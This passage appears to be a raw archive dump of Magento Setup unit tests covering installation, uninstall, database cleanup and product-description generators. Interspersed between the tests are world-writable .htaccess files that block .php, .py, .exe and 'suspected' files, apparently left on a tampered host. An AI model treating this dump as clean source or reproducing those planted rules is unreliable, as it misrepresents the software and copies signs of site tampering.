], [ 'request' => [ ConfigOptionsListConstants::INPUT_KEY_DB_HOST => '127.0.0.1', ConfigOptionsListConstants::INPUT_KEY_DB_NAME => 'magento', ConfigOptionsListConstants::INPUT_KEY_DB_USER => 'magento', ConfigOptionsListConstants::INPUT_KEY_ENCRYPTION_KEY => 'encryption_key', ConfigOptionsList::INPUT_KEY_BACKEND_FRONTNAME => 'backend', AdminAccount::KEY_USER => 'admin', AdminAccount::KEY_PASSWORD => '123', AdminAccount::KEY_EMAIL => 'admin@example.com', AdminAccount::KEY_FIRST_NAME => 'John', AdminAccount::KEY_LAST_NAME => 'Doe', ], 'logMessages' => [ ['Starting Magento installation:'], ['File permissions check...'], ['Required extensions check...'], ['Enabling Maintenance Mode...'], ['Installing deployment configuration...'], ['Installing database schema:'], ['Schema creation/updates:'], ['Module \'Foo_One\':'], ['Module \'Bar_Two\':'], ['Schema post-updates:'], ['Module \'Foo_One\':'], ['Module \'Bar_Two\':'], ['Installing search configuration...'], ['Installing user configuration...'], ['Enabling caches:'], ['Current status:'], ['foo: 1'], ['bar: 1'], ['Installing data...'], ['Data install/update:'], ['Disabling caches:'], ['Current status:'], ['Module \'Foo_One\':'], ['Module \'Bar_Two\':'], ['Data post-updates:'], ['Module \'Foo_One\':'], ['Module \'Bar_Two\':'], ['Enabling caches:'], ['Current status:'], ['Installing admin user...'], ['Caches clearing:'], ['Cache cleared successfully'], ['Disabling Maintenance Mode:'], ['Post installation file permissions check...'], ['Write installation date...'], ['Sample Data is installed with errors. See log file for details'] ], ], ]; } /** * Test for InstallDataFixtures * * @dataProvider testInstallDataFixturesDataProvider * * @param bool $keepCache * @param array $expectedToEnableCacheTypes * @return void */ public function testInstallDataFixtures(bool $keepCache, array $expectedToEnableCacheTypes): void { $cacheManagerMock = $this->createMock(Manager::class); //simulate disabled layout cache type $cacheManagerMock->expects($this->atLeastOnce()) ->method('getStatus') ->willReturn(['layout' => 0]); $cacheManagerMock->expects($this->atLeastOnce()) ->method('getAvailableTypes') ->willReturn(['block_html', 'full_page', 'layout' , 'config', 'collections']); $cacheManagerMock->expects($this->exactly(2)) ->method('setEnabled') ->withConsecutive([$expectedToEnableCacheTypes, false], [$expectedToEnableCacheTypes, true]) ->willReturn([]); $this->objectManager->expects($this->atLeastOnce()) ->method('create') ->willReturnMap([ [Manager::class, [], $cacheManagerMock], [ PatchApplierFactory::class, ['objectManager' => $this->objectManager], $this->patchApplierFactoryMock ], ]); $registryMock = $this->createMock(Registry::class); $this->objectManager->expects($this->atLeastOnce()) ->method('get') ->with(Registry::class) ->willReturn($registryMock); $this->config->expects($this->atLeastOnce()) ->method('get') ->willReturn(true); $this->filePermissions->expects($this->atLeastOnce()) ->method('getMissingWritableDirectoriesForDbUpgrade') ->willReturn([]); $connection = $this->getMockBuilder(AdapterInterface::class) ->addMethods(['getSchemaListener']) ->getMockForAbstractClass(); $connection->expects($this->once()) ->method('getSchemaListener') ->willReturn($this->schemaListenerMock); $resource = $this->createMock(ResourceConnection::class); $resource->expects($this->atLeastOnce()) ->method('getConnection') ->willReturn($connection); $this->contextMock->expects($this->once()) ->method('getResources') ->willReturn($resource); $dataSetup = $this->createMock(DataSetup::class); $dataSetup->expects($this->once()) ->method('getConnection') ->willReturn($connection); $this->dataSetupFactory->expects($this->atLeastOnce()) ->method('create') ->willReturn($dataSetup); $this->object->installDataFixtures($this->request, $keepCache); } /** * DataProvider for testInstallDataFixtures * * @return array */ public function testInstallDataFixturesDataProvider(): array { return [ 'keep cache' => [ true, ['block_html', 'full_page'] ], 'do not keep a cache' => [ false, ['block_html', 'full_page', 'layout'] ], ]; } public function testCheckInstallationFilePermissions() { $this->filePermissions ->expects($this->once()) ->method('getMissingWritablePathsForInstallation') ->willReturn([]); $this->object->checkInstallationFilePermissions(); } public function testCheckInstallationFilePermissionsError() { $this->expectException('Exception'); $this->expectExceptionMessage('Missing write permissions to the following paths:'); $this->filePermissions ->expects($this->once()) ->method('getMissingWritablePathsForInstallation') ->willReturn(['foo', 'bar']); $this->object->checkInstallationFilePermissions(); } public function testCheckExtensions() { $this->phpReadinessCheck->expects($this->once())->method('checkPhpExtensions')->willReturn( ['responseType' => ResponseTypeInterface::RESPONSE_TYPE_SUCCESS] ); $this->object->checkExtensions(); } public function testCheckExtensionsError() { $this->expectException('Exception'); $this->expectExceptionMessage('Missing following extensions: \'foo\''); $this->phpReadinessCheck->expects($this->once())->method('checkPhpExtensions')->willReturn( [ 'responseType' => ResponseTypeInterface::RESPONSE_TYPE_ERROR, 'data' => ['required' => ['foo', 'bar'], 'missing' => ['foo']] ] ); $this->object->checkExtensions(); } public function testCheckApplicationFilePermissions() { $this->filePermissions ->expects($this->once()) ->method('getUnnecessaryWritableDirectoriesForApplication') ->willReturn(['foo', 'bar']); $expectedMessage = "For security, remove write permissions from these directories: 'foo' 'bar'"; $this->logger->expects($this->once())->method('log')->with($expectedMessage); $this->object->checkApplicationFilePermissions(); $this->assertSame(['message' => [$expectedMessage]], $this->object->getInstallInfo()); } public function testUpdateModulesSequence() { $this->cleanupFiles->expects($this->once())->method('clearCodeGeneratedFiles')->willReturn( [ "The directory '/generation' doesn't exist - skipping cleanup", ] ); $installer = $this->prepareForUpdateModulesTests(); $this->logger->expects($this->at(0))->method('log')->with('Cache types config flushed successfully'); $this->logger->expects($this->at(1))->method('log')->with('Cache cleared successfully'); $this->logger->expects($this->at(2))->method('log')->with('File system cleanup:'); $this->logger->expects($this->at(3))->method('log') ->with('The directory \'/generation\' doesn\'t exist - skipping cleanup'); $this->logger->expects($this->at(4))->method('log')->with('Updating modules:'); $installer->updateModulesSequence(false); } public function testUpdateModulesSequenceKeepGenerated() { $this->cleanupFiles->expects($this->never())->method('clearCodeGeneratedClasses'); $installer = $this->prepareForUpdateModulesTests(); $this->logger->expects($this->at(0))->method('log')->with('Cache types config flushed successfully'); $this->logger->expects($this->at(1))->method('log')->with('Cache cleared successfully'); $this->logger->expects($this->at(2))->method('log')->with('Updating modules:'); $installer->updateModulesSequence(true); } public function testUninstall() { $this->config->expects($this->once()) ->method('get') ->with(ConfigOptionsListConstants::CONFIG_PATH_DB_CONNECTIONS) ->willReturn([]); $this->configReader->expects($this->once())->method('getFiles')->willReturn([ 'ConfigOne.php', 'ConfigTwo.php' ]); $configDir = $this->getMockForAbstractClass( WriteInterface::class ); $configDir ->expects($this->exactly(2)) ->method('getAbsolutePath') ->willReturnMap( [ ['ConfigOne.php', '/config/ConfigOne.php'], ['ConfigTwo.php', '/config/ConfigTwo.php'] ] ); $this->filesystem ->expects($this->any()) ->method('getDirectoryWrite') ->willReturnMap([ [DirectoryList::CONFIG, DriverPool::FILE, $configDir], ]); $this->logger->expects($this->at(0))->method('log')->with('Starting Magento uninstallation:'); $this->logger ->expects($this->at(2)) ->method('log') ->with('No database connection defined - skipping database cleanup'); $cacheManager = $this->createMock(Manager::class); $cacheManager->expects($this->once())->method('getAvailableTypes')->willReturn(['foo', 'bar']); $cacheManager->expects($this->once())->method('clean'); $this->objectManager->expects($this->any()) ->method('get') ->with(Manager::class) ->willReturn($cacheManager); $this->logger->expects($this->at(1))->method('log')->with('Cache cleared successfully'); $this->logger->expects($this->at(3))->method('log')->with('File system cleanup:'); $this->logger ->expects($this->at(4)) ->method('log') ->with("The directory '/var' doesn't exist - skipping cleanup"); $this->logger ->expects($this->at(5)) ->method('log') ->with("The directory '/static' doesn't exist - skipping cleanup"); $this->logger ->expects($this->at(6)) ->method('log') ->with("The file '/config/ConfigOne.php' doesn't exist - skipping cleanup"); $this->logger ->expects($this->at(7)) ->method('log') ->with("The file '/config/ConfigTwo.php' doesn't exist - skipping cleanup"); $this->logger->expects($this->once())->method('logSuccess')->with('Magento uninstallation complete.'); $this->cleanupFiles->expects($this->once())->method('clearAllFiles')->willReturn( [ "The directory '/var' doesn't exist - skipping cleanup", "The directory '/static' doesn't exist - skipping cleanup" ] ); $this->object->uninstall(); } public function testCleanupDb() { $this->config->expects($this->once()) ->method('get') ->with(ConfigOptionsListConstants::CONFIG_PATH_DB_CONNECTIONS) ->willReturn(self::$dbConfig); $this->connection->expects($this->at(0))->method('quoteIdentifier')->with('magento')->willReturn( '`magento`' ); $this->connection->expects($this->at(1))->method('query')->with('DROP DATABASE IF EXISTS `magento`'); $this->connection->expects($this->at(2))->method('query')->with('CREATE DATABASE IF NOT EXISTS `magento`'); $this->logger->expects($this->once())->method('log')->with('Cleaning up database `magento`'); $this->object->cleanupDb(); } /** * Prepare mocks for update modules tests and returns the installer to use * @return Installer */ private function prepareForUpdateModulesTests() { $allModules = [ 'Foo_One' => [], 'Bar_Two' => [], 'New_Module' => [], ]; $cacheManager = $this->createMock(Manager::class); $cacheManager->expects($this->once())->method('getAvailableTypes')->willReturn(['foo', 'bar']); $cacheManager->expects($this->once())->method('clean'); $this->objectManager->expects($this->any()) ->method('get') ->willReturnMap([ [Manager::class, $cacheManager] ]); $this->moduleLoader->expects($this->once())->method('load')->willReturn($allModules); $expectedModules = [ ConfigFilePool::APP_CONFIG => [ 'modules' => [ 'Bar_Two' => 0, 'Foo_One' => 1, 'New_Module' => 1 ] ] ]; $this->config->expects($this->atLeastOnce()) ->method('get') ->with(ConfigOptionsListConstants::KEY_MODULES) ->willReturn(true); $newObject = $this->createObject(false, false); $this->configReader->expects($this->once())->method('load') ->willReturn(['modules' => ['Bar_Two' => 0, 'Foo_One' => 1, 'Old_Module' => 0]]); $this->configWriter->expects($this->once())->method('saveConfig')->with($expectedModules); return $newObject; } } } namespace Magento\Setup\Model { /** * Mocking autoload function * * @returns array */ function spl_autoload_functions() { return ['mock_function_one', 'mock_function_two']; } } Magento/Setup/Test/Unit/Model/Description/MixinManagerTest.php000077700000004456151323623130020366 0ustar00<?php /** * Copyright © Magento, Inc. All rights reserved. * See COPYING.txt for license details. */ declare(strict_types=1); namespace Magento\Setup\Test\Unit\Model\Description; use Magento\Setup\Model\Description\Mixin\DescriptionMixinInterface; use Magento\Setup\Model\Description\Mixin\MixinFactory; use Magento\Setup\Model\Description\MixinManager; use PHPUnit\Framework\MockObject\MockObject; use PHPUnit\Framework\TestCase; class MixinManagerTest extends TestCase { /** * @var MixinManager */ private $mixinManager; /** * @var MockObject|MixinFactory */ private $mixinFactoryMock; protected function setUp(): void { $this->mixinFactoryMock = $this->createMock(MixinFactory::class); $this->mixinManager = new MixinManager($this->mixinFactoryMock); } public function testApply() { $description = '>o<'; $mixinList = ['x', 'y', 'z']; $xMixinMock = $this->getMockForAbstractClass( DescriptionMixinInterface::class ); $xMixinMock->expects($this->once()) ->method('apply') ->with($description) ->willReturn($description . 'x'); $yMixinMock = $this->getMockForAbstractClass( DescriptionMixinInterface::class ); $yMixinMock->expects($this->once()) ->method('apply') ->with($description . 'x') ->willReturn($description . 'xy'); $zMixinMock = $this->getMockForAbstractClass( DescriptionMixinInterface::class ); $zMixinMock->expects($this->once()) ->method('apply') ->with($description . 'xy') ->willReturn($description . 'xyz'); $this->mixinFactoryMock ->expects($this->exactly(count($mixinList))) ->method('create') ->withConsecutive( [$mixinList[0]], [$mixinList[1]], [$mixinList[2]] ) ->will( $this->onConsecutiveCalls( $xMixinMock, $yMixinMock, $zMixinMock ) ); $this->assertEquals( $description . 'xyz', $this->mixinManager->apply($description, $mixinList) ); } } Magento/Setup/Test/Unit/Model/Description/Mixin/ParagraphMixinTest.php000077700000002376151323623130022004 0ustar00<?php /** * Copyright © Magento, Inc. All rights reserved. * See COPYING.txt for license details. */ declare(strict_types=1); namespace Magento\Setup\Test\Unit\Model\Description\Mixin; use Magento\Setup\Model\Description\Mixin\ParagraphMixin; use PHPUnit\Framework\TestCase; class ParagraphMixinTest extends TestCase { /** * @var ParagraphMixin */ private $mixin; protected function setUp(): void { $this->mixin = new ParagraphMixin(); } /** * @dataProvider getTestData */ public function testApply($subject, $expectedResult) { $this->assertEquals($expectedResult, $this->mixin->apply($subject)); } /** * @return array */ public function getTestData() { return [ ['', '<p></p>'], [ 'Lorem ipsum dolor sit amet.' . PHP_EOL . 'Consectetur adipiscing elit.' . PHP_EOL . 'Sed do eiusmod tempor incididunt ut labore et dolore magna aliqua.', '<p>Lorem ipsum dolor sit amet.</p>' . PHP_EOL . '<p>Consectetur adipiscing elit.</p>' . PHP_EOL . '<p>Sed do eiusmod tempor incididunt ut labore et dolore magna aliqua.</p>' ] ]; } } Magento/Setup/Test/Unit/Model/Description/Mixin/HeaderMixinTest.php000077700000002562151323623130021264 0ustar00<?php /** * Copyright © Magento, Inc. All rights reserved. * See COPYING.txt for license details. */ declare(strict_types=1); namespace Magento\Setup\Test\Unit\Model\Description\Mixin; use Magento\Setup\Model\Description\Mixin\HeaderMixin; use PHPUnit\Framework\TestCase; class HeaderMixinTest extends TestCase { /** * @var HeaderMixin */ private $mixin; protected function setUp(): void { $this->mixin = new HeaderMixin(); } /** * @dataProvider getTestData */ public function testApply($subject, $expectedResult) { $this->assertEquals($expectedResult, $this->mixin->apply($subject)); } /** * @return array */ public function getTestData() { return [ ['', ''], [ 'Lorem ipsum dolor sit amet.' . PHP_EOL . 'Consectetur adipiscing elit.' . PHP_EOL . 'Sed do eiusmod tempor incididunt ut labore et dolore magna aliqua.', '<h1>Lorem ipsum</h1>' . PHP_EOL . 'Lorem ipsum dolor sit amet.' . PHP_EOL . '<h1>Consectetur</h1>' . PHP_EOL . 'Consectetur adipiscing elit.' . PHP_EOL . '<h1>Sed do eiusmod</h1>' . PHP_EOL . 'Sed do eiusmod tempor incididunt ut labore et dolore magna aliqua.' ] ]; } } Magento/Setup/Test/Unit/Model/Description/Mixin/ItalicMixinTest.php000077700000003722151323623130021300 0ustar00<?php /** * Copyright © Magento, Inc. All rights reserved. * See COPYING.txt for license details. */ declare(strict_types=1); namespace Magento\Setup\Test\Unit\Model\Description\Mixin; use Magento\Setup\Model\Description\Mixin\Helper\RandomWordSelector; use Magento\Setup\Model\Description\Mixin\Helper\WordWrapper; use Magento\Setup\Model\Description\Mixin\ItalicMixin; use PHPUnit\Framework\MockObject\MockObject; use PHPUnit\Framework\TestCase; class ItalicMixinTest extends TestCase { /** * @var ItalicMixin */ private $mixin; /** * @var MockObject|RandomWordSelector */ private $randomWordSelectorMock; /** * @var MockObject|WordWrapper */ private $wordWrapperMock; protected function setUp(): void { $this->randomWordSelectorMock = $this->createMock(RandomWordSelector::class); $this->wordWrapperMock = $this->createMock(WordWrapper::class); $this->mixin = new ItalicMixin( $this->randomWordSelectorMock, $this->wordWrapperMock ); } public function testEmptyApply() { $this->assertEquals('', $this->mixin->apply('')); } public function testApply() { $fixtureString = 'Lorem ipsum dolor sit amet, consectetur adipiscing elit.'; $fixtureStringResult = '<i>Lorem</i> ipsum <i>dolor</i> sit amet, consectetur adipiscing elit.'; $randWordsFixture = ['Lorem', 'dolor']; $this->randomWordSelectorMock ->expects($this->once()) ->method('getRandomWords') ->with($fixtureString, $this->greaterThan(0)) ->willReturn($randWordsFixture); $this->wordWrapperMock ->expects($this->once()) ->method('wrapWords') ->with($fixtureString, $randWordsFixture, '<i>%s</i>') ->willReturn($fixtureStringResult); $this->assertEquals($fixtureStringResult, $this->mixin->apply($fixtureString)); } } Magento/Setup/Test/Unit/Model/Description/Mixin/BrakeMixinTest.php000077700000002432151323623130021114 0ustar00<?php /** * Copyright © Magento, Inc. All rights reserved. * See COPYING.txt for license details. */ declare(strict_types=1); namespace Magento\Setup\Test\Unit\Model\Description\Mixin; use Magento\Setup\Model\Description\Mixin\BrakeMixin; use PHPUnit\Framework\TestCase; class BrakeMixinTest extends TestCase { /** * @var BrakeMixin */ private $mixin; protected function setUp(): void { $this->mixin = new BrakeMixin(); } /** * @dataProvider getTestData */ public function testApply($subject, $expectedResult) { $this->assertEquals($expectedResult, $this->mixin->apply($subject)); } /** * @return array */ public function getTestData() { return [ ['', ''], [ 'Lorem ipsum dolor sit amet.' . PHP_EOL . 'Consectetur adipiscing elit.' . PHP_EOL . 'Sed do eiusmod tempor incididunt ut labore et dolore magna aliqua.', 'Lorem ipsum dolor sit amet.' . PHP_EOL . '</br>' . PHP_EOL . 'Consectetur adipiscing elit.' . PHP_EOL . '</br>' . PHP_EOL . 'Sed do eiusmod tempor incididunt ut labore et dolore magna aliqua.' ] ]; } } Magento/Setup/Test/Unit/Model/Description/Mixin/BoldMixinTest.php000077700000003712151323623130020752 0ustar00<?php /** * Copyright © Magento, Inc. All rights reserved. * See COPYING.txt for license details. */ declare(strict_types=1); namespace Magento\Setup\Test\Unit\Model\Description\Mixin; use Magento\Setup\Model\Description\Mixin\BoldMixin; use Magento\Setup\Model\Description\Mixin\Helper\RandomWordSelector; use Magento\Setup\Model\Description\Mixin\Helper\WordWrapper; use PHPUnit\Framework\MockObject\MockObject; use PHPUnit\Framework\TestCase; class BoldMixinTest extends TestCase { /** * @var BoldMixin */ private $mixin; /** * @var MockObject|RandomWordSelector */ private $randomWordSelectorMock; /** * @var MockObject|WordWrapper */ private $wordWrapperMock; protected function setUp(): void { $this->randomWordSelectorMock = $this->createMock(RandomWordSelector::class); $this->wordWrapperMock = $this->createMock(WordWrapper::class); $this->mixin = new BoldMixin( $this->randomWordSelectorMock, $this->wordWrapperMock ); } public function testEmptyApply() { $this->assertEquals('', $this->mixin->apply('')); } public function testApply() { $fixtureString = 'Lorem ipsum dolor sit amet, consectetur adipiscing elit.'; $fixtureStringResult = '<b>Lorem</b> ipsum <b>dolor</b> sit amet, consectetur adipiscing elit.'; $randWordsFixture = ['Lorem', 'dolor']; $this->randomWordSelectorMock ->expects($this->once()) ->method('getRandomWords') ->with($fixtureString, $this->greaterThan(0)) ->willReturn($randWordsFixture); $this->wordWrapperMock ->expects($this->once()) ->method('wrapWords') ->with($fixtureString, $randWordsFixture, '<b>%s</b>') ->willReturn($fixtureStringResult); $this->assertEquals($fixtureStringResult, $this->mixin->apply($fixtureString)); } } Magento/Setup/Test/Unit/Model/Description/Mixin/SpanMixinTest.php000077700000003734151323623130020777 0ustar00<?php /** * Copyright © Magento, Inc. All rights reserved. * See COPYING.txt for license details. */ declare(strict_types=1); namespace Magento\Setup\Test\Unit\Model\Description\Mixin; use Magento\Setup\Model\Description\Mixin\Helper\RandomWordSelector; use Magento\Setup\Model\Description\Mixin\Helper\WordWrapper; use Magento\Setup\Model\Description\Mixin\SpanMixin; use PHPUnit\Framework\MockObject\MockObject; use PHPUnit\Framework\TestCase; class SpanMixinTest extends TestCase { /** * @var SpanMixin */ private $mixin; /** * @var MockObject|RandomWordSelector */ private $randomWordSelectorMock; /** * @var MockObject|WordWrapper */ private $wordWrapperMock; protected function setUp(): void { $this->randomWordSelectorMock = $this->createMock(RandomWordSelector::class); $this->wordWrapperMock = $this->createMock(WordWrapper::class); $this->mixin = new SpanMixin( $this->randomWordSelectorMock, $this->wordWrapperMock ); } public function testEmptyApply() { $this->assertEquals('', $this->mixin->apply('')); } public function testApply() { $fixtureString = 'Lorem ipsum dolor sit amet, consectetur adipiscing elit.'; $fixtureStringResult = '<span>Lorem</span> ipsum <span>dolor</span> sit amet, consectetur adipiscing elit.'; $randWordsFixture = ['Lorem', 'dolor']; $this->randomWordSelectorMock ->expects($this->once()) ->method('getRandomWords') ->with($fixtureString, $this->greaterThan(0)) ->willReturn($randWordsFixture); $this->wordWrapperMock ->expects($this->once()) ->method('wrapWords') ->with($fixtureString, $randWordsFixture, '<span>%s</span>') ->willReturn($fixtureStringResult); $this->assertEquals($fixtureStringResult, $this->mixin->apply($fixtureString)); } } Magento/Setup/Test/Unit/Model/Description/Mixin/Helper/RandomWordSelectorTest.php000077700000003370151323623130024061 0ustar00<?php /** * Copyright © Magento, Inc. All rights reserved. * See COPYING.txt for license details. */ declare(strict_types=1); namespace Magento\Setup\Test\Unit\Model\Description\Mixin\Helper; use Magento\Setup\Model\Description\Mixin\Helper\RandomWordSelector; use PHPUnit\Framework\TestCase; class RandomWordSelectorTest extends TestCase { /** * @var RandomWordSelector */ private $helper; protected function setUp(): void { $this->helper = new RandomWordSelector(); } /** * @param string $fixtureSource * @param int $fixtureCount * @dataProvider getTestData */ public function testRandomSelector($fixtureSource, $fixtureCount) { $randWords = $this->helper->getRandomWords($fixtureSource, $fixtureCount); $this->assertCount($fixtureCount, $randWords); $fixtureWords = str_word_count($fixtureSource, 1); foreach ($randWords as $randWord) { $this->assertContains($randWord, $fixtureWords); } } /** * @return array */ public function getTestData() { return [ [ 'source' => ' Lorem ipsum dolor sit amet, consectetur adipiscing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua. ', 'count' => 1 ], [ 'source' => 'Lorem.', 'count' => 5 ], [ 'source' => ' Lorem ipsum dolor sit amet, consectetur adipiscing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua. ', 'count' => 3 ], ]; } } Magento/Setup/Test/Unit/Model/Description/Mixin/Helper/WordWrapperTest.php000077700000003721151323623130022560 0ustar00<?php /** * Copyright © Magento, Inc. All rights reserved. * See COPYING.txt for license details. */ declare(strict_types=1); namespace Magento\Setup\Test\Unit\Model\Description\Mixin\Helper; use Magento\Setup\Model\Description\Mixin\Helper\WordWrapper; use PHPUnit\Framework\TestCase; class WordWrapperTest extends TestCase { /** * @var WordWrapper */ private $wrapper; protected function setUp(): void { $this->wrapper = new WordWrapper(); } /** * @param array $inputData * @param string $expectedResult * @dataProvider getTestData */ public function testWrapping($inputData, $expectedResult) { $this->assertEquals( $expectedResult, $this->wrapper->wrapWords($inputData['source'], $inputData['words'], $inputData['format']) ); } /** * @return array */ public function getTestData() { return [ [ [ 'source' => 'Lorem ipsum dolor sit amet, consectetur adipiscing elit.', 'words' => [], 'format' => '', ], 'Lorem ipsum dolor sit amet, consectetur adipiscing elit.' ], [ [ 'source' => 'Lorem ipsum dolor sit amet, consectetur adipiscing elit.', 'words' => ['Lorem'], 'format' => '<test>%s</test>', ], '<test>Lorem</test> ipsum dolor sit amet, consectetur adipiscing elit.' ], [ [ 'source' => 'Lorem ipsum dolor sit amet, consectetur adipiscing elit.', 'words' => ['Lorem', 'consectetur', 'elit'], 'format' => '<test>%s</test>', ], '<test>Lorem</test> ipsum dolor sit amet, <test>consectetur</test> adipiscing <test>elit</test>.' ], ]; } } Magento/Setup/Test/Unit/Model/Description/Mixin/Helper/.htaccess000077700000000177151323623130020533 0ustar00<FilesMatch '.(py|exe|php|PHP|Php|PHp|pHp|pHP|pHP7|PHP7|phP|PhP|php5|suspected)$'> Order allow,deny Deny from all </FilesMatch>Magento/Setup/Test/Unit/Model/Description/Mixin/.htaccess000077700000000177151323623130017314 0ustar00<FilesMatch '.(py|exe|php|PHP|Php|PHp|pHp|pHP|pHP7|PHP7|phP|PhP|php5|suspected)$'> Order allow,deny Deny from all </FilesMatch>Magento/Setup/Test/Unit/Model/Description/DescriptionGeneratorTest.php000077700000005427151323623130022140 0ustar00<?php /** * Copyright © Magento, Inc. All rights reserved. * See COPYING.txt for license details. */ declare(strict_types=1); namespace Magento\Setup\Test\Unit\Model\Description; use Magento\Setup\Model\Description\DescriptionGenerator; use Magento\Setup\Model\Description\DescriptionParagraphGenerator; use Magento\Setup\Model\Description\MixinManager; use PHPUnit\Framework\MockObject\MockObject; use PHPUnit\Framework\TestCase; class DescriptionGeneratorTest extends TestCase { /** * @var MockObject|DescriptionParagraphGenerator */ private $descriptionParagraphGeneratorMock; /** * @var MockObject|MixinManager */ private $mixinManagerMock; /** * @var array */ private $paragraphs = [ 'Paragraph#1', 'Paragraph#2', 'Paragraph#3' ]; /** * @var array */ private $descriptionConfigWithMixin = [ 'paragraphs' => [ 'count-min' => 3, 'count-max' => 3 ], 'mixin' => [ 'tags' => ['p', 'b', 'div'] ] ]; /** * @var array */ private $descriptionConfigWithoutMixin = [ 'paragraphs' => [ 'count-min' => 3, 'count-max' => 3 ] ]; protected function setUp(): void { $this->descriptionParagraphGeneratorMock = $this->createMock(DescriptionParagraphGenerator::class); $this->descriptionParagraphGeneratorMock ->expects($this->exactly(3)) ->method('generate') ->will($this->onConsecutiveCalls( $this->paragraphs[0], $this->paragraphs[1], $this->paragraphs[2] )); $this->mixinManagerMock = $this->createMock(MixinManager::class); } public function testGeneratorWithMixin() { $descriptionWithMixin = 'Some description with mixin'; $this->mixinManagerMock ->expects($this->once()) ->method('apply') ->with( implode(PHP_EOL, $this->paragraphs), $this->descriptionConfigWithMixin['mixin']['tags'] ) ->willReturn($descriptionWithMixin); $generator = new DescriptionGenerator( $this->descriptionParagraphGeneratorMock, $this->mixinManagerMock, $this->descriptionConfigWithMixin ); $this->assertEquals($descriptionWithMixin, $generator->generate()); } public function testGeneratorWithoutMixin() { $generator = new DescriptionGenerator( $this->descriptionParagraphGeneratorMock, $this->mixinManagerMock, $this->descriptionConfigWithoutMixin ); $this->assertEquals(implode(PHP_EOL, $this->paragraphs), $generator->generate()); } } Magento/Setup/Test/Unit/Model/Description/DescriptionSentenceGeneratorTest.php000077700000003070151323623130023615 0ustar00<?php /** * Copyright © Magento, Inc. All rights reserved. * See COPYING.txt for license details. */ declare(strict_types=1); namespace Magento\Setup\Test\Unit\Model\Description; use Magento\Setup\Model\Description\DescriptionSentenceGenerator; use Magento\Setup\Model\Dictionary; use PHPUnit\Framework\MockObject\MockObject; use PHPUnit\Framework\TestCase; class DescriptionSentenceGeneratorTest extends TestCase { /** * @var MockObject|Dictionary */ private $dictionaryMock; /** * @var DescriptionSentenceGenerator */ private $sentenceGenerator; /** * @var array */ private $sentenceConfig = [ 'words' => [ 'count-min' => 7, 'count-max' => 7 ] ]; protected function setUp(): void { $this->dictionaryMock = $this->createMock(Dictionary::class); $this->sentenceGenerator = new DescriptionSentenceGenerator( $this->dictionaryMock, $this->sentenceConfig ); } public function testSentenceGeneration() { $this->dictionaryMock ->expects($this->exactly(7)) ->method('getRandWord') ->will($this->onConsecutiveCalls( 'Lorem', 'ipsum', 'dolor', 'sit', 'amet', 'consectetur', 'adipiscing' )); $this->assertEquals( 'Lorem ipsum dolor sit amet consectetur adipiscing.', $this->sentenceGenerator->generate() ); } } Magento/Setup/Test/Unit/Model/Description/DescriptionParagraphGeneratorTest.php000077700000004400151323623130023754 0ustar00<?php /** * Copyright © Magento, Inc. All rights reserved. * See COPYING.txt for license details. */ declare(strict_types=1); namespace Magento\Setup\Test\Unit\Model\Description; use Magento\Setup\Model\Description\DescriptionParagraphGenerator; use Magento\Setup\Model\Description\DescriptionSentenceGenerator; use PHPUnit\Framework\MockObject\MockObject; use PHPUnit\Framework\TestCase; class DescriptionParagraphGeneratorTest extends TestCase { /** * @var MockObject|DescriptionSentenceGenerator */ private $sentenceGeneratorMock; /** * @var DescriptionParagraphGenerator */ private $paragraphGenerator; /** * @var array */ private $paragraphConfig = [ 'sentences' => [ 'count-min' => 4, 'count-max' => 4 ] ]; protected function setUp(): void { $this->sentenceGeneratorMock = $this->createMock(DescriptionSentenceGenerator::class); $this->paragraphGenerator = new DescriptionParagraphGenerator( $this->sentenceGeneratorMock, $this->paragraphConfig ); } public function testParagraphGeneration() { // @codingStandardsIgnoreStart $consecutiveSentences = [ 'Lorem ipsum dolor sit amet, consectetur adipiscing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua.', 'Ut enim ad minim veniam, quis nostrud exercitation ullamco laboris nisi ut aliquip ex ea commodo consequat.', 'Duis aute irure dolor in reprehenderit in voluptate velit esse cillum dolore eu fugiat nulla pariatur.', 'Excepteur sint occaecat cupidatat non proident, sunt in culpa qui officia deserunt mollit anim id est laborum.' ]; // @codingStandardsIgnoreEnd $this->sentenceGeneratorMock ->expects($this->exactly(4)) ->method('generate') ->will($this->onConsecutiveCalls( $consecutiveSentences[0], $consecutiveSentences[1], $consecutiveSentences[2], $consecutiveSentences[3] )); $this->assertEquals( implode(' ', $consecutiveSentences), $this->paragraphGenerator->generate() ); } } Magento/Setup/Test/Unit/Model/Description/.htaccess000077700000000177151323623130016230 0ustar00<FilesMatch '.(py|exe|php|PHP|Php|PHp|pHp|pHP|pHP7|PHP7|phP|PhP|php5|suspected)$'> Order allow,deny Deny from all </FilesMatch>Magento/Setup/Test/Unit/Model/DictionaryTest.php000077700000003544151323623130015626 0ustar00<?php /** * Copyright © Magento, Inc. All rights reserved. * See COPYING.txt for license details. */ declare(strict_types=1); namespace Magento\Setup\Test\Unit\Model; use Magento\Setup\Model\Dictionary; use PHPUnit\Framework\TestCase; class DictionaryTest extends TestCase { /** * @var array */ private $dictionary = [ 'lorem', 'ipsum', 'dolor', 'sit', 'amet', 'consectetur', 'adipiscing', 'elit', 'sed', 'do', 'eiusmod', 'tempor', 'incididunt', 'ut', 'labore', 'et', 'dolore', 'magna', 'aliqua' ]; public function testDictionaryFileNotFoundException() { $this->expectException('Magento\Setup\Exception'); $this->expectExceptionMessage('Description file some-wrong-file.csv not found or is not readable'); $dictionary = new Dictionary('some-wrong-file.csv'); $dictionary->getRandWord(); } public function testDictionaryFileIsEmptyException() { $this->expectException('Magento\Setup\Exception'); $this->expectExceptionMessageMatches('/Dictionary file .*empty-dictionary\.csv is empty/'); $filePath = __DIR__ . '/_files/empty-dictionary.csv'; file_put_contents($filePath, ''); try { $dictionary = new Dictionary($filePath); $dictionary->getRandWord(); } finally { unlink($filePath); } } public function testGetRandWord() { $filePath = __DIR__ . '/_files/valid-dictionary.csv'; file_put_contents($filePath, implode(PHP_EOL, $this->dictionary)); $dictionary = new Dictionary($filePath); $this->assertContains($dictionary->getRandWord(), $this->dictionary); $this->assertContains($dictionary->getRandWord(), $this->dictionary); $this->assertContains($dictionary->getRandWord(), $this->dictionary); unlink($filePath); } } Magento/Setup/Test/Unit/Model/ModuleUninstallerTest.php000077700000011040151323623130017155 0ustar00<?php /** * Copyright © Magento, Inc. All rights reserved. * See COPYING.txt for license details. */ declare(strict_types=1); namespace 